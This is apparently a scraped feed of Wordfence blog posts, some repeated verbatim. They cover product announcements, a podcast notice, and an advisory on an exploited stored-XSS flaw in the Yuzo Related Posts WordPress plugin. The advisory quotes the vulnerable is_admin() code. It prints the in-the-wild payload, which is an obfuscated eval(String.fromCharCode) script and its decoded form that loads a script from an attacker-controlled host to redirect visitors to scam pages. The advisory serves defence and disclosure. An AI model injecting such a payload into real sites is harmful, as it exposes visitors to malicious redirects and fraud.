Major Central Release: Alerts, Security Events and Slack Integration

In February we launched Wordfence Central, an efficient way to manage the security of many WordPress sites in one place. If you have multiple sites and haven’t checked it out yet, you should. It includes a powerful dashboard, a single interface to view and manage security findings across all of your sites and robust new tools that make managing Wordfence configuration for your websites a breeze.

Wordfence Central has been incredibly popular. Tens of thousands of sites have been added so far and more are added every day.

Today we are announcing the first major feature release for Central since its launch in February. This represents a big step forward not only for Central, but for Wordfence as a whole. The first major improvement is the addition of a brand new Central alerts feature. You can now configure Central to take over security alerting for your sites, and leverage severity level configuration and a new daily digest feature. Alerts can be sent via any combination of Email, SMS and Slack. We’ve also added a new Security Events tab to Central along with the ability to alert you when the higher priority events occur.

Improving the Signal to Noise Ratio

Alerts sent from Wordfence in the default configuration do a great job of letting you know when you have issues and reminding you important updates are needed. But if you manage a lot of sites, the volume of alerts sent can be overwhelming. We hear from customers about this frequently. The new Central alerts feature gives you everything you need to solve that problem by alerting you to things that need immediate attention and letting you deal with the lower priority information when your schedule allows.

New Severity Classification

Alerts are now categorized by severity: Critical, High, Medium and Low. You are able to choose how you want to be notified about events based on what severity level they have been assigned. You can even choose to turn off alert notifications altogether.

SMS Alerts and Slack Integration

When an important security event occurs you want to know about it right away. Emails can get lost in your inbox, even when they’re important. With that in mind we added SMS as a delivery option. For most, text messages do a great job of getting your attention when it really matters.

We’ve spoken to many organizations who, like us, use Slack for team collaboration. Wordfence Central can now send highly detailed information to Slack for your team to act upon.

Here’s an example of a Security Event alert delivered via Slack:

Daily Digest

We’ve also added an optional daily digest, which provides a high level summary of the activity for all of the sites connected to your Central account for the previous day. This is a great way to stay on top of lower priority events and findings without receiving individual alerts for all of them.

Here’s an example of a Daily Digest message delivered via Slack:

We expect a common approach will be to enable the daily digest and disable alerts for low and potentially medium severity findings and events.

Security Events

We’ve enabled a number of new security events that are now viewable via a new “Events” tab in Central. They are:

  • When Wordfence is automatically updated, you’ll get a notification when an update occurs. *
  • If Wordfence is deactivated. *
  • When the Wordfence firewall is deactivated.
  • When an IP address is blocked
  • When someone is locked out from login
  • When someone with administrator access signs in. *
  • When that administrator signs in from a new device or location. *
  • When a non-admin signs in.
  • When a non-admin signs in from a new device or location.
  • When someone is blocked from logging in for using a password found in a breach. *
  • When there’s a large increase in attacks on my site. *
  • When a Wordfence scan stops without completing.

You can also configure alerts to be sent via email, SMS or Slack for events followed by a * in the list above.

Here is what the new events tab looks like:

Getting Started

All of these new features are currently available on Wordfence Central. In Central you will see a new gear icon in the upper right corner that will take you where you can configure Central alerts. Once you’ve enabled alerts from Central make sure to disable them for your individual sites. Simply select “No” for the “Send alerts from individual sites?” option.

You will need to upgrade to Wordfence 7.3.4 (or greater) for security alerts to begin flowing into the new events tab. There are no configuration changes necessary for events to start flowing to Central once you’ve upgraded to 7.3.4.

We’re very excited about these new features and would love to hear any feedback you have in the comments. As always our team is available to help out with support questions on the WordPress.org forums for free users and here on our website for Premium customers.

The post Major Central Release: Alerts, Security Events and Slack Integration appeared first on Wordfence.

Read More

Announcing 3 New Login Security Features

Spend any time looking at blocked attacks in Wordfence Live Traffic and you’ll walk away worried about login security. WordPress sites are under constant attack by bots attempting to guess your users’ passwords. A lot of these attacks simply test lists of commonly used passwords along with usernames they think you may have chosen, like ‘admin’ or different takes on your domain name.

More recently we’ve started to see more sophisticated attackers leveraging lists of passwords from data breaches in their attacks. These are referred to as credential stuffing attacks and have a much higher success rate than traditional password guessing attacks. If you’ve given other users access to your website, are you confident that they haven’t reused their password? If they have, you may be just one data breach away from a hacked website.

Today, with the release of Wordfence 7.3.1, we are excited to announce several new login security features! They are:

  • A completely rebuilt two-factor authentication feature, now available in the free version of Wordfence
  • Login page CAPTCHA
  • Improved XML-RPC protection

Together with the other login security features already included in Wordfence, these additions give you robust, layered protection from password guessing and credential stuffing attacks.

Completely Rebuilt Two-Factor Authentication Feature

Two-factor authentication, or 2FA, adds a second layer of security to your users’ accounts. It requires them to not only enter their password, but also a second piece of information only they have access to. An account protected by 2FA is virtually impossible to compromise. Even if an attacker discovers your username and password somehow, they still can’t log in.

Setting up 2FA is easy! Just scan the barcode with your authenticator app and enter a login code.

Use Any TOTP-Based Authenticator App

The new Wordfence 2FA feature leverages authenticator applications and services that support the time-based one-time password (TOTP) standard. There are many of them to choose from on the market; Google Authenticator, Authy, FreeOTP and 1Password are just a few. Many of you are probably already using one of these. For those who aren’t, they are incredibly easy to set up and use.

After entering your password, you simply enter the 6 digit login code from your authenticator app.

Wordfence 2FA is Now Available For Free

2FA is now available for use on sites running both the free and Premium versions of Wordfence. When we first added 2FA to Wordfence roughly 6 years ago, we leveraged SMS to send you a text message with a 2FA code when logging in to your site. Since sending SMS messages costs money we made it a Premium-only feature. A couple years ago we added an authenticator app option in addition to SMS.

The previous iteration of our 2FA feature is now being phased out completely and the replacement no longer includes an SMS option. Sites with the old version activated are able to continue to use it, but are strongly encouraged to transition to the new one. SMS is a less secure way to deliver login codes and is prone to delivery issues. In fact, NIST now specifically recommends against using SMS-based authentication.

Enable 2FA For Any User Role You Want

While it’s most important to protect your site’s admin accounts, there are plenty of other user roles with capabilities you don’t want to hand over to an attacker. Wordfence now lets you enable 2FA for any role you like. Simply visit the Settings tab on the Login Security page within Wordfence.

Whitelisted IPs That Bypass 2FA

This field accepts IP addresses or ranges where 2FA will not be required. You can use this to skip 2FA on networks you trust, like if you have a static IP. Another example is if you have a network with a trusted range of IPs, such as allowing users on your corporate network to log in without 2FA unless they are logging in from outside the network.

New Login Page CAPTCHA Feature

In recent years the number of IoT devices has exploded. Unfortunately they have been highly prone to security vulnerabilities. This has resulted in a massive increase in the size of botnets available for attackers. In the context of login security for WordPress, this means that attackers have more compromised machines, and IPs, to use in their attacks. By spreading attacks across much larger pools of IP addresses they are able to dial the number of login attempts made by each IP address down so far that they evade even the most aggressive login attempt limiting rules, at least at the site level.

Earlier in the year we experienced an attack just like that, where the attacker was leveraging hundreds of thousands of IP addresses in a very sophisticated manner. We determined that in order to effectively thwart the attack our best option would have been deploy CAPTCHA protection on our  login page, effectively nullifying the attack.

As is often the case, a solution to a problem we’re facing with WordPress security becomes great product idea. You are now able to enable Google reCAPTCHA v3 on your login and registration pages using Wordfence. It does a fantastic job of blocking bots from attempting to log in while allowing humans through without incident.

As a fail-safe, any user that Google erroneously deems to be a bot (and who does not have 2FA active) may continue logging in by clicking a verification link in an email sent to the account’s email address. User registration attempts that are blocked may also send an email to the email address configured for site administration, which is rate limited to prevent abuse.

Improved XML-RPC Protection

XML-RPC is an interface that allows WordPress to communicate with other applications. It is unfortunately often overlooked by WordPress users when discussing login security. “Just move your login page and you’re secure!” they say with bravado. Unfortunately they are often wrong. In the last 30 days, 60.6% of the login attempts blocked by Wordfence were hitting XML-RPC, not the site’s login page.

Fortunately there is a way to secure XML-RPC as well, with the new login security features in Wordfence.

Disabling XML-RPC

Because XML-RPC is such a popular target for attackers, we strongly recommend that you figure out whether you need it or not. If you do, protect it with 2FA if possible. If you don’t use the WordPress app or the Jetpack plugin it is likely safe for you to disable XML-RPC.

If you don’t need it, disable it. Once you know it is safe to do so, disabling it is as easy as checking a box in your Wordfence settings. Just be aware that it may cause you problems in the future should you start using an app or plugin that requires it.

Two-Factor Authentication for XML-RPC

If you have a custom application that logs in via XML-RPC, it can be configured to append a TOTP code when logging in using Wordfence. This option allows you to protect your XML-RPC endpoint from brute force attacks while making it available for your custom app. Unfortunately most off-the-shelf plugins and apps that utilize XML-RPC cannot be configured to use 2FA just yet, but with Wordfence you’ll be ready for when they can.

Conclusion

In this age of massive botnets and constant data breaches, login security has become increasingly important. These new features combined with our existing ones will provide you with the tools you need to implement the layered security approach that will keep your site safe. We strongly recommend that you upgrade to the latest version of Wordfence if you haven’t done so already, and invest the time to enable these powerful new features.

Thanks and stay safe!

The post Announcing 3 New Login Security Features appeared first on Wordfence.

Read More

Announcing 3 New Login Security Features

Spend any time looking at blocked attacks in Wordfence Live Traffic and you’ll walk away worried about login security. WordPress sites are under constant attack by bots attempting to guess your users’ passwords. A lot of these attacks simply test lists of commonly used passwords along with usernames they think you may have chosen, like ‘admin’ or different takes on your domain name.

More recently we’ve started to see more sophisticated attackers leveraging lists of passwords from data breaches in their attacks. These are referred to as credential stuffing attacks and have a much higher success rate than traditional password guessing attacks. If you’ve given other users access to your website, are you confident that they haven’t reused their password? If they have, you may be just one data breach away from a hacked website.

Today, with the release of Wordfence 7.3.1, we are excited to announce several new login security features! They are:

  • A completely rebuilt two-factor authentication feature, now available in the free version of Wordfence
  • Login page CAPTCHA
  • Improved XML-RPC protection

Together with the other login security features already included in Wordfence, these additions give you robust, layered protection from password guessing and credential stuffing attacks.

Completely Rebuilt Two-Factor Authentication Feature

Two-factor authentication, or 2FA, adds a second layer of security to your users’ accounts. It requires them to not only enter their password, but also a second piece of information only they have access to. An account protected by 2FA is virtually impossible to compromise. Even if an attacker discovers your username and password somehow, they still can’t log in.

Setting up 2FA is easy! Just scan the barcode with your authenticator app and enter a login code.

Use Any TOTP-Based Authenticator App

The new Wordfence 2FA feature leverages authenticator applications and services that support the time-based one-time password (TOTP) standard. There are many of them to choose from on the market; Google Authenticator, Authy, FreeOTP and 1Password are just a few. Many of you are probably already using one of these. For those who aren’t, they are incredibly easy to set up and use.

After entering your password, you simply enter the 6 digit login code from your authenticator app.

Wordfence 2FA is Now Available For Free

2FA is now available for use on sites running both the free and Premium versions of Wordfence. When we first added 2FA to Wordfence roughly 6 years ago, we leveraged SMS to send you a text message with a 2FA code when logging in to your site. Since sending SMS messages costs money we made it a Premium-only feature. A couple years ago we added an authenticator app option in addition to SMS.

The previous iteration of our 2FA feature is now being phased out completely and the replacement no longer includes an SMS option. Sites with the old version activated are able to continue to use it, but are strongly encouraged to transition to the new one. SMS is a less secure way to deliver login codes and is prone to delivery issues. In fact, NIST now specifically recommends against using SMS-based authentication.

Enable 2FA For Any User Role You Want

While it’s most important to protect your site’s admin accounts, there are plenty of other user roles with capabilities you don’t want to hand over to an attacker. Wordfence now lets you enable 2FA for any role you like. Simply visit the Settings tab on the Login Security page within Wordfence.

Whitelisted IPs That Bypass 2FA

This field accepts IP addresses or ranges where 2FA will not be required. You can use this to skip 2FA on networks you trust, like if you have a static IP. Another example is if you have a network with a trusted range of IPs, such as allowing users on your corporate network to log in without 2FA unless they are logging in from outside the network.

New Login Page CAPTCHA Feature

In recent years the number of IoT devices has exploded. Unfortunately they have been highly prone to security vulnerabilities. This has resulted in a massive increase in the size of botnets available for attackers. In the context of login security for WordPress, this means that attackers have more compromised machines, and IPs, to use in their attacks. By spreading attacks across much larger pools of IP addresses they are able to dial the number of login attempts made by each IP address down so far that they evade even the most aggressive login attempt limiting rules, at least at the site level.

Earlier in the year we experienced an attack just like that, where the attacker was leveraging hundreds of thousands of IP addresses in a very sophisticated manner. We determined that in order to effectively thwart the attack our best option would have been deploy CAPTCHA protection on our  login page, effectively nullifying the attack.

As is often the case, a solution to a problem we’re facing with WordPress security becomes great product idea. You are now able to enable Google reCAPTCHA v3 on your login and registration pages using Wordfence. It does a fantastic job of blocking bots from attempting to log in while allowing humans through without incident.

As a fail-safe, any user that Google erroneously deems to be a bot (and who does not have 2FA active) may continue logging in by clicking a verification link in an email sent to the account’s email address. User registration attempts that are blocked may also send an email to the email address configured for site administration, which is rate limited to prevent abuse.

Improved XML-RPC Protection

XML-RPC is an interface that allows WordPress to communicate with other applications. It is unfortunately often overlooked by WordPress users when discussing login security. “Just move your login page and you’re secure!” they say with bravado. Unfortunately they are often wrong. In the last 30 days, 60.6% of the login attempts blocked by Wordfence were hitting XML-RPC, not the site’s login page.

Fortunately there is a way to secure XML-RPC as well, with the new login security features in Wordfence.

Disabling XML-RPC

Because XML-RPC is such a popular target for attackers, we strongly recommend that you figure out whether you need it or not. If you do, protect it with 2FA if possible. If you don’t use the WordPress app or the Jetpack plugin it is likely safe for you to disable XML-RPC.

If you don’t need it, disable it. Once you know it is safe to do so, disabling it is as easy as checking a box in your Wordfence settings. Just be aware that it may cause you problems in the future should you start using an app or plugin that requires it.

Two-Factor Authentication for XML-RPC

If you have a custom application that logs in via XML-RPC, it can be configured to append a TOTP code when logging in using Wordfence. This option allows you to protect your XML-RPC endpoint from brute force attacks while making it available for your custom app. Unfortunately most off-the-shelf plugins and apps that utilize XML-RPC cannot be configured to use 2FA just yet, but with Wordfence you’ll be ready for when they can.

Conclusion

In this age of massive botnets and constant data breaches, login security has become increasingly important. These new features combined with our existing ones will provide you with the tools you need to implement the layered security approach that will keep your site safe. We strongly recommend that you upgrade to the latest version of Wordfence if you haven’t done so already, and invest the time to enable these powerful new features.

Thanks and stay safe!

The post Announcing 3 New Login Security Features appeared first on Wordfence.

Read More

Podcast Episode 11: The Dave Ryan Interview

Today we’ve published episode 11 of Think Like a Hacker. As we mentioned earlier in the week, we’ve switched to a new format beginning this week, separating the news and our interview into two episodes. In today’s interview-focused episode we talk to Dave Ryan at WordCamp Orange County.

Dave Ryan is an Interdisciplinary WordPress Developer at Bluehost, where he focuses on helping build WordPress and supporting the WordPress community. He is an organizer for Phoenix area WordPress meetups and WordCamp Phoenix. He also speaks at numerous WordCamps around the country.

In the past Dave has worked for large publishers and universities and scaling high-traffic WordPress sites by blending his skills in information design, journalism and web development.

Dave lives in Phoenix, loves a good taco and will like every photo of your dog on Instagram.

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast. Subscribe to our RSS feed.

You can find me on Twitter as @mmaunder and Kathy as @kathyzant and Dave as @0aveRyan. Please don’t hesitate to post your feedback in the comments below.

The post Podcast Episode 11: The Dave Ryan Interview appeared first on Wordfence.

Read More

Yuzo Related Posts Zero-Day Vulnerability Exploited in the Wild

The Yuzo Related Posts plugin, which is installed on over 60,000 websites, was removed from the WordPress.org plugin directory on March 30, 2019 after an unpatched vulnerability was publicly, and irresponsibly, disclosed by a security researcher that same day. The vulnerability, which allows stored cross-site scripting (XSS), is now being exploited in the wild. These attacks appear to be linked to the same threat actor who targeted the recent Social Warfare and Easy WP SMTP vulnerabilities.

The XSS protection included in the Wordfence firewall protects against the exploit attempts we have seen so far. Both free and Premium Wordfence users are protected against these attacks. Based on a deeper analysis of the security flaws present in the plugin we have also deployed protection against additional attack vectors. Premium customers will receive the update today, free users in 30 days. We recommend that all users remove the plugin from their sites immediately.

is_admin() Strikes Again

The vulnerability in Yuzo Related Posts stems from missing authentication checks in the plugin routines responsible for storing settings in the database. The code below from assets/ilenframework/core.php is the crux of the problem.

function __construct(){

if( ! is_admin() ){ // only front-end

self::set_main_variable();
return;

}elseif( is_admin() ){ // only admin

// set default if not exists
self::_ini_();

Developers often mistakenly use is_admin() to check if a piece of code that requires administrative privileges should be run, but as the WordPress documentation points out, that isn’t how the function should be used. In this scenario self::_ini_() is called on any request to an administrative interface page, including /wp-admin/options-general.php and /wp-admin/admin-post.php, which allows a POST request to those pages to be processed by self::save_options(); later in the code.

The result is that an unauthenticated attacker can inject malicious content, such as a JavaScript payload, into the plugin settings. That payload is then inserted into HTML templates and executed by the web browser when users visit the compromised website. This security issue could be used to deface websites, redirect visitors to unsafe websites, or compromise WordPress administrator accounts, among other things.

Exploits Lead to Malicious Redirects

Today, eleven days after this vulnerability was irresponsibly disclosed and a proof-of-concept (PoC) was published, threat actors have begun exploiting sites with Yuzo Related Posts installed.

Exploits currently seen in the wild inject malicious JavaScript into the yuzo_related_post_css_and_style option value.

</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>

Once deobfuscated, it’s easier to see what the script is doing:

</style><script language=javascript>var elem = document.createElement('script');
elem.type = 'text/javascript';
elem.async = true;
elem.src = 'https://hellofromhony.org/counter';
document.getElementsByTagName('head')[0].appendChild(elem);</script>

When a user visits a compromised website containing the above payload, they will be redirected to malicious tech support scam pages. Example:

Three Vulnerabilities with a Lot in Common

Our analysis shows that the attempts to exploit this vulnerability share a number of commonalities with attacks on two other vulnerabilities discovered in other plugins: Social Warfare and Easy WP SMTP.

Exploits so far have used a malicious script hosted on hellofromhony[.]org, which resolves to 176.123.9[.]53. That same IP address was used in the Social Warfare and Easy WP SMTP campaigns. In addition, all three campaigns involved exploitation of stored XSS injection vulnerabilities and have deployed malicious redirects. We are confident that the tactics, techniques and procedures (TTPs) in all three attacks point to a common threat actor.

Conclusion

As was the case a few weeks ago, the irresponsible actions of a security researcher has resulted in a zero-day plugin vulnerability being exploited in the wild. Cases like this underscore the importance of a layered security approach which includes a WordPress firewall.

Site owners running the Yuzo Related Posts plugin are urged to remove it from their sites immediately, at least until a fix has been published by the author. Wordfence Premium customers and free users have been protected against the current attacks we’re seeing in the wild. An additional firewall rule to protect against alternate exploits has been developed and deployed to our Premium customers today and will be available to free users in 30 days.

The post Yuzo Related Posts Zero-Day Vulnerability Exploited in the Wild appeared first on Wordfence.

Read More

Yuzo Related Posts Zero-Day Vulnerability Exploited in the Wild

The Yuzo Related Posts plugin, which is installed on over 60,000 websites, was removed from the WordPress.org plugin directory on March 30, 2019 after an unpatched vulnerability was publicly, and irresponsibly, disclosed by a security researcher that same day. The vulnerability, which allows stored cross-site scripting (XSS), is now being exploited in the wild. These attacks appear to be linked to the same threat actor who targeted the recent Social Warfare and Easy WP SMTP vulnerabilities.

The XSS protection included in the Wordfence firewall protects against the exploit attempts we have seen so far. Both free and Premium Wordfence users are protected against these attacks. Based on a deeper analysis of the security flaws present in the plugin we have also deployed protection against additional attack vectors. Premium customers will receive the update today, free users in 30 days. We recommend that all users remove the plugin from their sites immediately.

is_admin() Strikes Again

The vulnerability in Yuzo Related Posts stems from missing authentication checks in the plugin routines responsible for storing settings in the database. The code below from assets/ilenframework/core.php is the crux of the problem.

function __construct(){

if( ! is_admin() ){ // only front-end

self::set_main_variable();
return;

}elseif( is_admin() ){ // only admin

// set default if not exists
self::_ini_();

Developers often mistakenly use is_admin() to check if a piece of code that requires administrative privileges should be run, but as the WordPress documentation points out, that isn’t how the function should be used. In this scenario self::_ini_() is called on any request to an administrative interface page, including /wp-admin/options-general.php and /wp-admin/admin-post.php, which allows a POST request to those pages to be processed by self::save_options(); later in the code.

The result is that an unauthenticated attacker can inject malicious content, such as a JavaScript payload, into the plugin settings. That payload is then inserted into HTML templates and executed by the web browser when users visit the compromised website. This security issue could be used to deface websites, redirect visitors to unsafe websites, or compromise WordPress administrator accounts, among other things.

Exploits Lead to Malicious Redirects

Today, eleven days after this vulnerability was irresponsibly disclosed and a proof-of-concept (PoC) was published, threat actors have begun exploiting sites with Yuzo Related Posts installed.

Exploits currently seen in the wild inject malicious JavaScript into the yuzo_related_post_css_and_style option value.

</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>

Once deobfuscated, it’s easier to see what the script is doing:

</style><script language=javascript>var elem = document.createElement('script');
elem.type = 'text/javascript';
elem.async = true;
elem.src = 'https://hellofromhony.org/counter';
document.getElementsByTagName('head')[0].appendChild(elem);</script>

When a user visits a compromised website containing the above payload, they will be redirected to malicious tech support scam pages. Example:

Three Vulnerabilities with a Lot in Common

Our analysis shows that the attempts to exploit this vulnerability share a number of commonalities with attacks on two other vulnerabilities discovered in other plugins: Social Warfare and Easy WP SMTP.

Exploits so far have used a malicious script hosted on hellofromhony[.]org, which resolves to 176.123.9[.]53. That same IP address was used in the Social Warfare and Easy WP SMTP campaigns. In addition, all three campaigns involved exploitation of stored XSS injection vulnerabilities and have deployed malicious redirects. We are confident that the tactics, techniques and procedures (TTPs) in all three attacks point to a common threat actor.

Conclusion

As was the case a few weeks ago, the irresponsible actions of a security researcher has resulted in a zero-day plugin vulnerability being exploited in the wild. Cases like this underscore the importance of a layered security approach which includes a WordPress firewall.

Site owners running the Yuzo Related Posts plugin are urged to remove it from their sites immediately, at least until a fix has been published by the author. Wordfence Premium customers and free users have been protected against the current attacks we’re seeing in the wild. An additional firewall rule to protect against alternate exploits has been developed and deployed to our Premium customers today and will be available to free users in 30 days.

The post Yuzo Related Posts Zero-Day Vulnerability Exploited in the Wild appeared first on Wordfence.

Read More

Introducing Wordfence Central

Over the last several months, we have been focused on making Wordfence a better option for organizations with a large number of WordPress sites to protect. To start, we added the ability to secure your staging and development environments with a single Wordfence premium license, something you should take advantage of if you haven’t already.

Next we changed the way we handle volume discounts to make managing a large number of sites easier.

Shortly after that we launched Wordfence Agency Solutions, empowering our client partners to develop custom security solutions for agencies and our enterprise customers.

Today we are thrilled to announce the launch of Wordfence Central. Wordfence Central provides an efficient way to manage the security of many WordPress sites in one place. It includes a powerful dashboard, a single interface to view and manage security findings across all of your sites and powerful new tools that make managing Wordfence configuration for your websites a breeze.

It’s Completely Free to Use

One of the first questions we get from people when we show them Central is, “What’s the catch? This can’t really be free, can it?”

There’s no catch, it’s really free.

You’re welcome to use Wordfence Central to manage all of your websites at no charge. There are no limits or restrictions of any kind.

The Wordfence Central Dashboard

The Wordfence Central Dashboard shows you the security status of your websites at a glance.

A high level summary of the latest scan tells you how many issues were discovered, along with a brief summary of the highest severity findings. You can view detailed findings with a single click, never leaving Wordfence Central.

High level metrics show you the current configuration status for the Wordfence firewall and scanner. The Premium license status lets you know which sites need to be upgraded. You can upgrade sites and update their configurations in just a few clicks, without ever leaving Wordfence Central.

Powerful sort, filter and search capabilities make managing even hundreds of sites a breeze.

Security Findings

Before Wordfence Central, keeping up with Wordfence scan results meant either visiting your sites regularly or reading through a constant flow of email alerts. Now you can view the current status of all your sites in one place, and drill down to view detailed findings without leaving Central.

In many cases you can take action on a finding without leaving Central. When you do need to visit your site to deal with a security finding, Central makes it easy by taking you to the relevant page with a single click.

If your site hasn’t been scanned recently, no problem! Launch a scan in Central and watch the results stream back in real-time.

Configuration

The default Wordfence configuration works for most site owners, but advanced users tend to make changes. As someone responsible for multiple sites, this can be a daunting task. With Wordfence Central you can now make those changes quickly and efficiently.

When you first land on the Configuration page in Wordfence Central you are greeted with a high level summary, showing you the current firewall, scan and premium license status for each site, whether a template has been applied to it and whether its configuration still matches the template. More on the magic of templates later!

To view or make changes to a site’s configuration you can simply click the “Manage Site” link, which will bring you to the equivalent of the “All Options” page in the Wordfence plugin. Once the changes you need to make are complete, hitting “Save Changes” will send your changes down to your site in seconds. It’s that easy.

Templates!

The real configuration workhorse in Wordfence Central is templates. Templates give you the ability to create and manage as many Wordfence configurations as you like. For example, you might want one template for your VIP clients and another for everyone else.

Templates make configuring new sites incredibly easy. Simply add the new site to Central, navigate to Configuration and apply a template to the new site. This will take care of 99% of the settings in Wordfence. Enabling “extended protection” for the firewall, which is strongly recommended, still requires a visit to the admin area of your site.

Getting Started

To get started with Wordfence Central, go to wordfence.com/central. You’ll be greeted with a high-level overview of Central including screenshots. To dive right in click the “Get Started” button. You will need to sign in or create an account if you don’t already have one.

Once you’re logged in you will be asked to set up two-factor authentication, or 2FA, for your account. It’s optional, but we strongly recommend that you set it up. Wordfence Central will have the ability to make changes to how Wordfence is configured for all of the sites you connect, so we want to take extra care to keep your account safe.

Once you’ve set up 2FA, you will be prompted to connect your first website. After you submit the site URL, Wordfence Central runs a quick series of connectivity checks. If everything checks out your site is added and you will be prompted to add another. It’s that easy.

Live-Stream Demo + Q&A

Tomorrow morning (Thursday) at 8am Pacific / 11am Eastern Mark Maunder, our CEO, will be live-streaming a Wordfence Central demo followed by Q&A. You can attend by visiting https://wordfence.com/blog/2019/02/wordfence-central-livestream/. Submit your questions via the comments for that post now and during the event.

Conclusion

